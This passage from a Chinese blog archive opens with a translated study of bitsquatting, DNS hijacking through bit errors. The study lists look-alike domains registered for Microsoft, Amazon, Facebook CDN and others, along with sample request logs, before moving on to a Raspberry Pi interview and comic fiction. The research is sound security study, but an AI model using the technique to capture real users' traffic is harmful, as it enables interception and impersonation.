akamai.com。由于很少有人实际在浏览器中输入这些域名,它们也成为本次实验中最合适的目标。还有个问题就是每次DNS查询必须有两次响应:一次是原本的域名,一次是经过比特修改的域名。因为原始的请求可能会得到正确域名的响应,而丢弃对无效域名的响应。这方面更多的信息,请参考[白皮书](http://media.blackhat.com/bh-us-11/Dinaburg/BH_US_11_Dinaburg_Bitsquatting_WP.pdf)或者[幻灯片](http://dinaburg.org/data/DC19_Dinaburg_Presentation.pdf)。 为了这次实验我注册了下面这些域名。 注:目前它们全都已经过期,不再属于我了。 **Bitsquat Domain** | **Original Domain** ---|--- ikamai.net | akamai.net aeazon.com | amazon.com a-azon.com | amazon.com amazgn.com | amazon.com microsmft.com | microsoft.com micrgsoft.com | microsoft.com miarosoft.com | microsoft.com iicrosoft.com | microsoft.com microsnft.com | microsoft.com mhcrosoft.com | microsoft.com eicrosoft.com | microsoft.com mic2osoft.com | microsoft.com micro3oft.com | microsoft.com li6e.com | live.com 0mdn.net | 2mdn.net 2-dn.net | 2mdn.net 2edn.net | 2mdn.net 2ldn.net | 2mdn.net 2mfn.net | 2mdn.net 2mln.net | 2mdn.net 2odn.net | 2mdn.net 6mdn.net | 2mdn.net fbbdn.net | fbcdn.net fbgdn.net | fbcdn.net gbcdn.net | fbcdn.net fjcdn.net | fbcdn.net dbcdn.net | fbcdn.net roop-servers.net | root-servers.net doublechick.net | doubleclick.net do5bleclick.net | doubleclick.net 我使用Python脚本应答DNS请求,并且使用Apache记录HTTP请求。令我惊讶的是,有设备连接了。 ### 实验发现 以下结论是基于2010年9月26日至2011年5月5日间的Apache日志得出的。由搜索引擎爬虫和Web漏洞扫描器引起的日志已经被手动过滤了。正因为是手动操作,所以最后统计时可能还有很小一部分漏网之鱼。 **发现1:比特错误可以被利用在DNS上** 在记录日志期间总共有52317次针bitsquat域名的请求,它们来自与12949个独立IP。除去其中3次产生巨大网络流量的事件,平均每天有59个独立IP对32个bitsquat域名进行了请求。这些请求不是来自于拼写错误或者其他形式的手工输入URL,还有一部分表现出有多个比特错误的特征。以下是一些实际的例子(个人信息已经移除): static.ak.fjcdn.net 109.242.50.xxx “GET /rsrc.php/z67NS/hash/4ys0envq.js HTTP/1.1″ “http://www.facebook.com/profile.php?id=xxxxxxxxxx” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; Hotbar 11.0.78.0; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; AskTbZTV/5.8.0.12304)” msgr.dlservice.mic2osoft.com 213.178.224.xxx “GET /download/A/6/1/A616CCD4-B0CA-4A3D-B975-3EDB38081B38/ar/wlsetup-cvr.exe HTTP/1.1″ 404 268 “Microsoft BITS/6.6″ s0.2ldn.net 66.82.9.xxx “GET /879366/flashwrite_1_2.js HTTP/1.1″ “http://webmail.satx.rr.com/_uac/adpage.html” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; AskTB5.2)” mmv.admob.com 109.175.185.xxx “GET /static/iphone/img/app@2x.png HTTP/1.1″ “Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; HW iPhone2,1; en_gb) AppleWebKit/525.18.1 (KHTML, like Gecko) (AdMob-iSDK-20101108; iphoneos4.2)” **发现2:并不是所有的比特错误都造成同等程度的影响** 有些机器相比其他而言,明显控制着更多的网络流量。当一个比特错误发生在普通PC机或者手机上时,它只会影响到一个用户。然而当它发生在代理、DNS服务器或者数据库缓存中时,将会影响到成千上万的用户。在我的实验中,已经观察到了比特错误出现在Web应用、DNS解析服务器和代理服务器中。例如,一个比特错误将fbcnd.net变为fbbdn.net,将使上千个开心农场的玩家请求到我的服务器。 **发现3:手机和嵌入式设备可能比传统硬件受的影响更大** 我对2011年3月期间访问Wikipedia和bitsquat域名的HTTP User-Agent进行了对比,展示在下面的图例中。其中Other包括了各种手机、游戏机控制台和其他嵌入式设备,它们在对bitsquat域名的访问中,增加的幅度最大。令人好奇的是,来自MacOS针对bitsquat域名的访问相比Wikipedia有显著减少,对此我还没有一个合理的解释。(译注:这里是按两个域名各自的设备分布算的,其中有增多必然有减少,也许分别计算每种设备访问错域名的几率更加合理,即 _访问错误域名的次数 / 对两种域名的访问总数_ 。) [![bitsquat_1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8227e5e4eb_f435855d0cd7c34aa3ae589293727d00.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8227e5e4eb_f435855d0cd7c34aa3ae589293727d00.png "一比特之差:无需利用漏洞的DNS劫持") **发现4:对bitsquat域名的访问流量是日常网络流量的真实写照** Bitsquat域名的访问者来自于全球各地,其使用的设备也几乎涵盖每种主流的操作系统和嵌入式平台。除使用MacOS的访问者所占的百分比在两种域名间有显著差别之外,使用Windows、Linux、Android和iPhones的百分比基本相同。另外,基于IP地理位置数据库,我们可以观察到来自于美国的访问者在一天内的流量走势。 [ ](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d4efc3bd3_ade11df8bbcc2b7bcbd7e3564ed2cdfa.png)[![bitsquat_2](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d4efc3bd3_ade11df8bbcc2b7bcbd7e3564ed2cdfa.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d4efc3bd3_ade11df8bbcc2b7bcbd7e3564ed2cdfa.png "一比特之差:无需利用漏洞的DNS劫持") **发现5:HTTPS/TLS不会有帮助,DNSSEC可能会有一丁点** HTTP 1.1在头中包含了一个叫Host的字段,其数值是客户端想要访问的域名。如果Host中包含着bitsquat域名,那么比特错误在域名解析前就发生了。如果Host中是原始域名,那么错误就是发生在域名解析中。我数据中96%的情况是在DNS解析前就出现了比特错误。 [![bitsquat_3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d4efc3bd3_a78196125356295d8d331b1a05dc252a.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d4efc3bd3_a78196125356295d8d331b1a05dc252a.png "一比特之差:无需利用漏洞的DNS劫持") 像SSL和TLS这种安全传输技术是用于保证两端之间数据的机密性、真实性和完整性,但是比特错误更多发生在数据在某一端还未传输的时候。DNSSEC只能解决那4%发生在域名解析过程中的比特错误。 ## 数据 DNS流量的全部PCAP在此:[dnslogs.tar.7z](http://dinaburg.org/data/dnslogs.tar.7z),56Mb HTTP日志可能包含个人信息,因此不会公开发布。如果你有正当的研究目的需要它们,请[联系我](http://dinaburg.org/about.html)。 这里有个工具可以快速识别潜在的bitsquat域名:[bitsquat.py](http://dinaburg.org/data/bitsquat.py),[github](https://github.com/artemdinaburg/bitsquat-script) ## 进一步研究 来自Verisign的Duane Wessels也在DNS查询中寻找过网络级别的比特错误,他指出“**[网络中比特错误相对而言是很少见的,但是有一个可预期的概率](http://www.verisigninc.com/assets/VRSN_Bitsquatting_TR_20120320.pdf)** ”。他研究的主要目的,是确定那4%发生在域名解析时的比特错误是否由UDP包在传输后的损坏造成。结论是网络中传输的包不太可能被损坏,用他自己的话说:“我们相信UDP的校验和能够有效防范bitsquat攻击或者其他DNS查询时的错误。无论如何,在进入网络前发生的比特错误不会从中受益,因为在传输前计算的校验和是基于错误的数据得出的。“ 我非常鼓励读者重复我的实验,并且分享你们的结果。如果需要更多信息,请随时[联系我](http://dinaburg.org/about.html)。 [一比特之差:无需利用漏洞的DNS劫持](http://blog.jobbole.com/74149/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的 Date: 2014-07-24 URL: https://blog.wo.ai/archives/695 Categories: Uncategorized > 请记住它是为喜欢折腾的人准备的只要35美元的计算机 [![173429zobbos2f2nf2znw1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f073bc7a91_9e62b0c513f735ff37a5fa8944831a31.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f073bc7a91_9e62b0c513f735ff37a5fa8944831a31.jpg "树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的") 我永远不会忘记我第一次看到树莓派的情形。那个小巧的,信用卡大小的计算机,性能却足够强劲,可以作为一般家用PC,媒体中心,电视游戏机,或是其他任何你能够想像的东西。只有35美元的价格,它是任何年龄段的动手爱好者都可以拥有的小东西,可以在上面捣腾硬件和软件试验,而不用担心会弄坏昂贵的家庭电脑。 [Eben Upton](https://twitter.com/EbenUpton),是树莓派基金会的共同创始人,通常被誉为这个神奇机器背后的魔法师。在剑桥大学的计算机实验室攻读哲学博士学位的时候,他费尽苦心地手工打造了树莓派的原型机。 如今,Upton是树莓派基金会下面贸易公司的CEO,监督着树莓派的生产和销售,目前销量已经达到250万台。 ### 天上的派 ReadWrite网: 一开始是什么让你对技术这么感兴趣?它又是如何偶然地引导你创建树莓派项目的? **Eben Upton** : 在我还是孩子的时候就开始对技术感兴趣了。我有个对工程技术有很大兴趣的父亲,他自己不是工程师,而是一个英语老师。我们的房子里经常到处堆着各种电子器件,在还不知道这些东西是干嘛的时候,我就开始摆弄了。都是些小玩意,比如在床头装个灯,在“关灯”后还可以继续看书之类的。 [![173435v3ssqllylnxmxsfy](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/37d9d7222a_06e644f0997fc9ab22010c976dcd15ec.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/37d9d7222a_06e644f0997fc9ab22010c976dcd15ec.jpg "树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的") 之后我有了一台计算机。在英国,我们把这种机器叫做[BBC微计算机](http://en.wikipedia.org/wiki/BBC_Micro),实际上是8位单片机,做教学用的。我们在学校的时候接触到这种机器,我之后就学会了编程,而且还蛮喜欢的。 这些机器在学校里并不一定是用来编程的,或者说他们根本不是用来编程的,一般都运行教学软件。但是我却给它编程,之后我还买了一台回家,在我买了这台BBC微机后,我就泡在了房间里,再没出来过。[笑] 编程对于小孩来说太神奇了。当你还是小孩的时候,并没有太多力量。没有听话的随从,反而身边有很多的限制。编程最伟大的地方在于,这是一个可以让你随心所欲的小世界。而这当然让我无法抗拒。 我一直都对科学和数学,以及理科感兴趣。我在我的BBC微机上做了大量的计算和编程,之后我拥有了一台Commodore Amiga。 在大学里我学习了物理,工程和计算机科学。这是激发树莓派项目想法的原因,因为当我在学校呆了10年的时候[当时在读博士学位],我发现那些新来的孩子们在他们小时候并没有机会获得这方面的经验。你也许仍然能拥有乐高玩具,但是它不是我们要的梯子。 在一定程度上我们把身后的梯子撤掉了。我们造出了这些非常复杂而且用户友好的计算机给小孩使用,或者不仅仅是计算机,还包括电视游戏机,电话和平板,以及一些家用电器。但是,人们却没有机会自己动手改一改。所以实际上,树莓派是回到最初的一种尝试,当然也不会过于原始,希望找到在过去25年里计算机发展中迷失掉的那种感觉。 **RW:** 你需要克服的最大的障碍有哪些? **EU:** 好吧,我们没有任何投资者,当然这也是一件好事情。我们从2006年就开始尝试做这件事情,你可以看到它花了我们很长时间才把树莓派从一个想法变成一件能卖的东西。在价格和性能之间或是价格和可编程性之间找到平衡,是一件很重要的事情。 另外一件麻烦事是募集资金。我们是非营利组织,所以我们得去找人赞助,而这最后都变成了董事会中的几个人自掏腰包。我们有25万美元的启动资金是从我和其他几个成员自己借的。所以我觉得,当初这样做还挺有勇气。 [![173438m5aintlfgaplcn5a](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8005c35dac_b89a22cf31c4fdd810885ed93d995be4.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8005c35dac_b89a22cf31c4fdd810885ed93d995be4.jpg "树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的") ### 从东方到西方 为了找到价格合适的生产方式,我们选了一条不同寻常的路线。通常人们生产更传统的产品时,当量不大的时候都会选择在本地生产,然后[制造商]再制定较高的价格。大多数都能获得比树莓派丰厚的利润。 所以他们开始会在西方生产。然后,为了追求更高的利润,当产品有一定的量就会想减少生产成本,所以转到远东地区。 我们的问题是,因为我们没有足够的利润来支撑这种模式的订单,所以我们在中国制造了第一批产品。当然一开始会有一点不好的预感。我一点也不了解中国制造,最后,我们把价值5万美元的芯片和5万美元现金交给一个香港人,他需要还给我们2000片可以工作的树莓派。 之后交期出现了延时,我们甚至都开始相信自己被骗了。然后终于有一天,现在250万台树莓派中最早的2000台放在托板上来到了门口。 那个UPS快递员从卡车里拖出一个托板,并拉到我们车库里。托板上放着2000台树莓派,它们中每一台都比我小时候用过的计算机强多了。我们随机抽查了几台,都可以完美地工作。 所以我觉得还挺幸运,中国你懂的。然后我们的产品终于开始有量了,我们选择了跟其他所有人不同的方向。我觉得这是这个项目中的另一个决定性时刻,我们认识到,以目前的订单量,我们可以用和在中国同样的成本在西方生产。所以我们可以回归,把所有的生产制造搬回威尔士,也是我出生的地方。像是一个美妙的圆圈。 **RW:** 有没有一些树莓派的前身没有被制造出来的? **EU:** 有的,我们做了许多不同的原型机。我们希望做出一个可以编程,也能吸引小朋友兴趣的东西。“吸引小朋友兴趣”意味着,在某些方面要足够强大。比如,播放视频,玩游戏,以及上网。 我们有许多能够达到价格目标和可编程目标的原型,但是等我们确定一个合适的方案,它足够强大能够吸引孩子们的热情,已经挺晚了,都到2010年底2011年初了。 ### 派是从哪儿烤好的 **RW:** 跟我们说说发明树莓派的故事 **EU:** 我们尝试过基于所谓的微控制器技术做了几台机器。不知道你有没有听过一个叫Arduino的[开源电子原型]平台?它们的性能跟Arduino是一个级别的,优点是很容易买到,是常用的元器件,非常便宜,也很容易掌握。 [![173441nqdd3u3my60q3uq9](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/82422c1d9a_401e17773bfe4853c1283efda423a743.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/82422c1d9a_401e17773bfe4853c1283efda423a743.jpg "树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的") 所以我们试了一下。最后的成品只能从技术上来说还是计算机,你可以把它接到电视机或其他显示设备上。但是,它太原始了,很明显不能吸引孩子们的兴趣。这个是一号原型机,它在爱尔兰一家博物馆的叫“失败”的展览中展出[笑]。我下个月会去看看。它现在被装载一个玻璃盒子里,作为一次辉煌失败的典型。 好的一面是它是手工制作的,你不可能手工制作一块现代的树莓派。但是,这个原型太原始了,你实际上可以把所有器件手工焊接到一起,它就是我一个星期里做好的,是个挺好的小玩具。 我在大学里呆了差不多10年以后,进入到一家叫Broadcom的公司工作,总部在南加利福尼亚但是在剑桥有个大办公室,主要生产手机芯片。然后,我意识到这种手机芯片非常适合,它是制作像派这样的设备的非常合适的平台,因为它有优秀的图形性能。 我基于Broadcom开发工具制作了一个原型。这次的原型非常强大,也有更多功能,价格也差不多。不过问题是,它有一套定制的开发环境,而不是一个标准的平台。 我们得写自己的SD卡驱动,自己的文件系统,自己的文本编辑器。你会发现你得做大量基础工作,虽然最后你能够得到一个强大的可编程的平台,但是它却是完全非标准的[而且]和其他设备完全不一样。从而无法重用那些已经在台式机系统中已经做过的工作。这个是二号原型机。 真正的突破是三号原型机。我们从Broadcom拿到了另一种应用了ARM处理器的芯片,可以直接运行标准Linux。我们意识到终于可以做出能够满足所有的需求的机器了,这就是我们推向市场的产品。 ### 黑一黑下一代黑客 **RW:** 八岁的孩子就开始用树莓派做项目了。这在你意料中吗,还是说让你意外了? **EU:** 八岁是很好的年纪。我想每个人都会把自己开始编程的年龄定义成合适的年龄。我就是八岁开始编程的。某种程度上来说,孩子们所需要的只是年龄大到拥有相对完整的认知技能,或者说是解决问题的技能。也许在学校学一点数学就够了。 [![173446mpzp6x0b1buugyxx](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eec6350ba7_51afc0294bd1dd7087e47b3ada0a1d27.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eec6350ba7_51afc0294bd1dd7087e47b3ada0a1d27.jpg "树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的") 年龄大到可以计划任务,编程就是终极的计划任务。还是得有一定的智力基础去做这个事情。八岁的时候,大多数孩子在自己的思维上已经非常成熟了。另外还需要敏捷的身手,对更小的孩子来说还存在一个问题就是,他们还不够灵巧去使用键盘。 所以说,八岁是很好的年纪。你有合适的身体,有合适的心智,而且还处于生命中能轻松学习新知识的时候。你的大脑还具有非常大的可塑性,可以学习语言。。。 我的意思是,你要是想让你的小孩学习法语的话,八岁就开始教他,不要等到16岁才开始。正式的计算机教育有一个历史性的缺点,就是太晚开始了,然后就很惊讶为何学生们理解起来概念有困难。所以我认为越早接触越好,而八岁是奇妙的年纪。八岁,十岁,十二岁,十二岁可能都有点晚了。 我们基金会的CEO,[Lance](http://www.raspberrypi.org/welcome-lance/) [Howarth],对初级教育特别热心。他真的认为这是一个实际的机会来做点非常特别的事情。 **RW:** 所以这是树莓派项目的目的,让小孩子们编程? **EU:** 我想我们一直认为可以让孩子们玩编程只是举个例子。但是树莓派的目的是把这个东西做出来看看谁会买它。我们一直相信至少有一部分年轻的孩子会觉得它令人激动。现在我们已经有知识宽度和规模来支持孩子们玩它了。 [仅仅]做出一个像树莓派的平台和提供相关支持是有很大区别的,如果只是做出来的话,你会发现有1%的八岁孩子会喜欢它并且玩起来,不管你提供多或者少的支持。 我觉得现在基金会的一个实际的机会是,我们已经可以承担得起开发教材了,我们还可以提倡培训这方面的教师。有个机会是我们可以吸引比1%更多的孩子。还有个机会是吸引那些没有独自处理复杂技术问题倾向的机灵小孩。如果能够提供良好的教程和让他们感兴趣的教材,就能够吸引10%,20%,50%,甚至更多的孩子。 我们认为80年代是[学习编程]的黄金年代,而实际上,只有很少一部分人学习编程并达到一定深度。大部分人也许可以写个几行,但是能够编写大型程序的还是很少见。 所以我认为我们目前有一个实际的机会,因为我们可以参与到教材和教师培训的级别,我们也许可以超越80年代。现在有更多的参与者,两性之间也更平等。在80年代,编程很大程度上是男孩们的事情,而这也能反映到我们的工程师社区构成上。我觉得现在有个很好的机会,让更多的女孩子接触电脑编程。这个是挂在枝头上垂得最低的果子了,做到这个,人数马上增加了一半。 机会有很多,我对树莓派最满意的地方就是我们已经有点规模可以吸引部分人的注意了。 ### 每个人的派 **RW:** 关于像派这样的项目的潜在需求,对于你来说意味着什么?是不是有一天我们都会变成DIY黑客? **EU:** 是的,我意思是,就是这样的。有非常大的这种需求。而且我认为有一条通向制作者社区的纽带。美国的制作者社区比英国成熟多了。我们也确实在举办制作者集会和黑客空间,但是差不多比美国落后了5年左右。 所以在开始讨论树莓派之后我发现了一件事情,在它获得国际关注的时候,我们发现我们受到一些非常稳定的社区的成员的追捧,他们喜欢各种各样的DIY活动:编织,或者,你知道的,木工。 所以,这也是为树莓派带来意外增长的其中一个因素。制作者们把它当作用来构建自己项目的模块。这太棒了! **RW:** 你怎么看现在出现的主流硬件黑客文化? **EU:** 我觉得,这太美妙了,不是吗?这是在软件工程领域里完全无法想到的。我接触这些之前就有软件背景,所以,实际上人们用树莓派制作的大多数很酷的东西都是硬件相关的,让我很惊讶。当然现在没那么吃惊了,不过一开始是有的。 [![173449y80odr8f7frhhc8z](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0536a4e862_f30308a33dcd12b9e967cfe4d7175161.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0536a4e862_f30308a33dcd12b9e967cfe4d7175161.jpg "树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的") 我认为这是非常积极的趋势,基于所有这些因素。因为它给孩子们带来了相关的经验。在我看来,在屏幕上移动一下像素还是很酷的,不过事实上,它没有像80年代那样酷了。我觉得,在现实世界里移动一些物体,比如机器人,对于现在的孩子来说是非常酷的。 当有更多实用性的时候,就会吸引更多的女孩。确实存在一种潜在趋势,尝试和设计针对女孩子的科技活动。不过实际上这并不是关于女孩子,而是关于扩展用户的迫切要求。 有这样一小段-我之前谈过的关于有1%的小孩会觉得抽象的计算机编程很有趣。“让我们开始学习变量!”我就是他们其中一个。但是,那只是很小一部分,而且看起来更大部分是男孩子。我不知道是不是文化因素或其他的,但是看起来这个世界就是这样的。 在人们谈论追求实用性来吸引女孩子的时候,根本不关女孩子的事。而是吸引那一小部分男孩之外的所有人。不仅仅吸引女孩,也包括其他男孩。 从教育的角度来看有一件美妙的事情是,在现实世界里应用计算机做点实际的东西,自然而然会比仅仅在计算机本身上面做点事情有用多了。所以,这就提供了一个方式来吸引女孩子进入这个领域,同样也可以吸引更多的男孩子进入这个领域。 不再是一个人很好。能够加入到这波兴趣的浪潮中,和许多制作现实世界东西的人一起,也是很精彩的事情。我认识一个南加利福尼亚的小伙,他有两个兴趣就是倒腾派和制作他的锁链甲。有人做这些事情本身就是一件很美妙的事情。 ### 分享你的派 **RW:** 关于吸引比1%更多人的“实用”项目,能举个例子吗? **EU:** 整个机器人技术领域就是个很好的例子。有很多人基于派来制作小型机器人,让它们四周跑跑或做点事情。特别是现在,我们增加了摄像头模块,可以一定程度上实现计算机视觉。 我觉得其他基于摄像头的项目也会变得更活跃。那些从事野外摄影的人们,以及从事缩时摄影的人们,因为有了这个25美元的摄像头模块,应用范围宽了许多。还有红外版本的模块,所以你可以在晚上拍摄野生动物-写脚本在晚上拍摄相片,然后选择保存里面包含了动作的。这些都非常好。 我特别喜欢应用到高空气球的任何项目。环境监控-有一些英国的高中学生在IndieGoGo发起了一个叫[AirPi](http://airpi.es/)的项目,这是一个污染监控防御系统,底层将用到树莓派。所以会有许多这样的项目,你可以用派来处理物理的,或化学的,或者生物的事情。-这些都是我认为有实用性的事情。这种项目也更容易向孩子们证明,这是值得他们关注的项目。 **RW:** 我们什么时候可以看到树莓派C型? **EU:** 暂时还没有计划。我们目前都还在处理软件工作。我觉得我们还有机会通过调整软件来大幅提升系统性能,再优化一下。 如果我们现在就启动制作C型,将会抛弃250万使用目前平台的用户。所以我觉得,至少现在,我们决心要继续软件工作,因为这可以帮到所有已经在这个领域里的人。我们感觉通过软件优化还有很大的性能提升空间。 显然,我们同时也必须做一点[硬件方面]的事情。我真的不知道具体在什么时候。如果到了2017,2018,我们还在销售树莓派B型的话,那也挺糟糕的。但是,我认为我们也许在一年后再认真考虑后面要做什么。 **RW:** 很多人的项目同时用到了派和Arduino(一个DIY电子调试工具套件)。你在设计派的时候,有考虑类似Arduino的工具吗? **EU:** 实际上没有,但是我们很早就意识到,媒体可能会倾向于把我们和Arduino看作竞争者。对于这件事情我们有点多疑,我觉得,因为我认为派和Arduino分别处理不同的事情,而且他们都做得很好。 我们并没有把它设计成配合Arduino工作,但是Arduino被设计成配合家用PC一起工作。所以,我们实际上为Arduino制作了一台非常低功耗的家用PC。所以好吧,只是巧合,我猜。 **RW:** 你在家里用树莓派做什么?工作中呢? **EU:** 在家里,我把它当作一个媒体中心;这是树莓派一个非常普通的应用。有趣的事,有些从事消费电子的人,把它当作消费电子来用。我当然也是其中之一。 在工作中,我总是没有我想要的那么多时间来玩玩树莓派。通常在工作的时候如果在用派的话,那是因为我需要测试刚拿到的一些软件更新。大多数时候我用它来检查我花钱请的承包人是否把工作做好了。 我真心希望明年会有更多休息时间。有时我感觉,除了媒体中心之外,我参与制作了这么神奇的玩具,但是因为它太成功了,我都没有时间去好好玩玩它。 不过,看到这么多的人喜欢它,看到它被出现在各种不同的地方,也是很开心的。我听说在《生活大爆炸》中提到了我们,我要去找找是哪一集。它出现在所有的这些不可思议的地方。真是非常开心,看到这么多人把它放在心上,开始用它做点事情。 [树莓派的联合创始人访谈——我们是怎么让大家都成为DIY黑客的](http://www.geekfan.net/10651/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## LM居英雄传 – 第一章 Date: 2014-07-16 URL: https://blog.wo.ai/archives/575 Categories: Funny, Life, Springfield 第一章 罗兰传 罗兰兄“非死不可”曰:曾经的全球最大电信运营商——中国电信工程师、当前的IT企业管理者,留过欧下过洋、品过红酒醉过清酒、漂过塞纳躺过富士,现流落美国。生活中的我:不太帅但很可爱、不太高但很对菜。 罗兰兄厨艺颇佳。 二少、三爷、四爷同至春田,本以为罗兰兄能在吾等三人之前打点好,谁知其偷懒赖在芝城,做隐身态。吾等无奈,联系师兄在一猪圈寄宿一晚,翌日搬至如今LM居。 为犒劳三爷四爷辛苦劳作搬家具,二少承担烹饪之职,三爷四爷享受几日二少悉心照料。 不日,罗兰兄携包至LM居,吼,吾至,速接驾!掏出若干牛肉干,收买人心,转瞬消失在自己房中,翻箱倒柜,不知所终。后从一师姐处购买锅碗瓢盆桌椅,曰,此乃宝贝,吾赚大也! 夕,罗兰牛刀小试,厨艺高于二少,从此LM居之饮食、采购均由罗兰负责。 罗兰用料极省,凡骨肉必须分离,肉炒,骨炖汤。二少三爷炒肉之际,每每提醒,肉多,需省。罗兰系广府人,煲汤煲粥乃家常之菜,汤汁美味令吾等欣喜不已。后因吾等拷贝其作品,甚有超过罗兰之势,遂罗兰罢做汤粥,非友人到访之际不做,非逢年过节不做。 凡蔬菜水果均可烧汤,有西瓜三吃之法,囊生吃,内层皮炒菜,外层青皮炖汤,一时传为美谈。每每食瓜毕,吼,瓜皮勿仍,可食。无奈,内层皮为吾LM居保留菜系,在米国友人诞辰之日,中米朋友均有幸品尝三爷之瓜皮肉片。对于青皮,三爷无语,留与罗兰处理。 罗兰创苹果核瓜皮汤。一夜,与二少三爷四爷散步,见一苹果树,盗若干,曰,吾可炒苹果与尔等食用。翌日,吾等同窗至LM居,炒苹果、核皮汤伺候。同窗挑起一核,曰,此何物?罗兰答,猜!同窗研究许久,曰,似苹果核,然否?答,高!遂将核、皮捞出,盘中无一物,实清汤也,味鲜美,但因口味外观独特,无人提起,成为罗兰千古绝唱。后盗若干沙果,罗兰欲重操旧业,吾等速生食沙果,遂罗重操之望破灭。 另因喜食盐味,善做卤汤。卤汤者,酱油也,入小锅煮,鸡胗、猪肉、牛肚、生菜心均可入汤,加盐鸡精,武火煮沸,文火煎熬。一日,四爷弃剩余卤汤,罗兰怒骂,此汤乃宝,可重用,知否?罗兰对卤汤不离不弃,食毕,必小心包好,放入冰箱保存,次日加入新料重新熬煮,直至泛白长菇,叨,实可食也,不忍弃,后倒入茅厕,感慨不已,由奢入俭易,由俭入奢难。 罗兰兄喜吃,素有食物粉碎机之称,凡见桌上之菜,执筷如飞,盘中碗中之物统统扫光。尤食面之际,声音大作,面已无踪影。三更,时常念叨,三爷,夜宵何在?三爷善做蛋,做蛋之际,罗兰兄便立于一旁,垂涎三尺。三爷无心夜宵之时,速食面冰激凌水果一扫而空。唯四爷亦好速食面,常听二人厨房烧水泡面,卿卿我我,郎情妾意,恩爱如漆。 罗兰兄喜午睡,准备午饭之时,速,吾欲睡!风卷残云,便挺尸于床上,鼾声如雷,得睡神之名。午时二刻,醒,曰,睡毕,学习之,遂与四爷一同图书馆中苦练葵花宝典,必得11B,立争11A。此刻周公正传授二少三爷梦中武林绝学与罗兰四爷抗衡。 罗兰兄性情敦实,至M大后,绯闻不断,男女通吃,老少不限。传一七岁女童对罗兰仰慕之至,竞相献吻,得水果叔叔美名。传凡见花甲老太,必得拥抱,又得尊老之名。后又传临幸小四,无果。据传对F下手太晚,唏嘘不已。另传经三爷介绍,又转对L心存爱慕,但因与三爷赌气,时时不肯出手,暂无果,只待缘分。 罗兰名之来历,说来话长,因喜在沐浴之后裸奔,且经常将红内挂于房内与大家观赏,由二少赐予“裸男”之名,后谐音罗兰,增添一丝罗曼蒂克之意,也期待罗兰兄能够少许罗曼蒂克,早日陷入情网。 终结,待毕业之际,赠与罗兰兄缅怀LM居点点滴滴。 --- ## LM居英雄传 – 序 Date: 2014-07-15 URL: https://blog.wo.ai/archives/573 Categories: Funny, Life, Springfield 序 ![雪中LM居](/wp-content/uploads/2014/07/P1140802-300x224.jpg) LM居者,盖因国内L大四位高人在米国M大研习西洋奇计,命府邸为LM居。LM者,与某一网络用语接近,诸位均可随意想象发挥。LM居四大高人,由厨艺排名,罗兰居首,依次二少,三爷,四爷。 本传主角罗兰,二少,三爷,四爷,此外,将有11,HH等角色登场,情节纯属虚构,请勿自我套用。 ![newyear](/wp-content/uploads/2014/07/DSCF0570-300x225.png) 罗兰兄,姓X名XX,字Michael,号罗兰,另号(你)大爷,广东汕头人士,目前单身,芳龄3x,待字闺中。之前在广东某电信公司任VP职位,就读于春田M大。必杀技–你大爷。喜吃,喜睡,性情敦厚,表面不擅言辞,但内心火热,钻石王老五类型。对罗兰兄有意之女性,请先与四爷联系,然后由三爷把关,最后由二少定夺是否能够喜结连理,四爷米国的联系电话是911,中国的联系方式是110,其他国家女性暂不接待。 二少,人称霸王花,经考察亦是路霸,诸位有车人士如遇二少,体谅安危请务必回避,必杀技–貌美如花夺命三声笑。善闹腾,自L大到M大,目前在G国,不曾消停,喜唆使别人做出惊天地泣鬼神之事。 三爷,已昏,虽年长于二少,厨艺不如,屈居第三,善现代算盘。喜给罗兰张罗终身大事。曾因中秋佳节二少唆使之下出演某一颠覆形象,被罗兰戏弄,调侃至今。幸万圣节之夜,罗兰亦有出格之事,不再取笑三爷。 四爷,人称小四、江湖小虾米,入M大之前,除炒蛋之外只会炒蛋,名副其实炒蛋王子小四是也,自称四爷,时时欲篡三爷之位,毕生之愿是出书立传《小四泡妞记》,因迟迟不敢出手,自然无法得手,呜呼哀哉。在大爷和三爷调教之下,目前已经由炒蛋升级至炒肉了。另外兼职给大爷接听女性朋友电话。 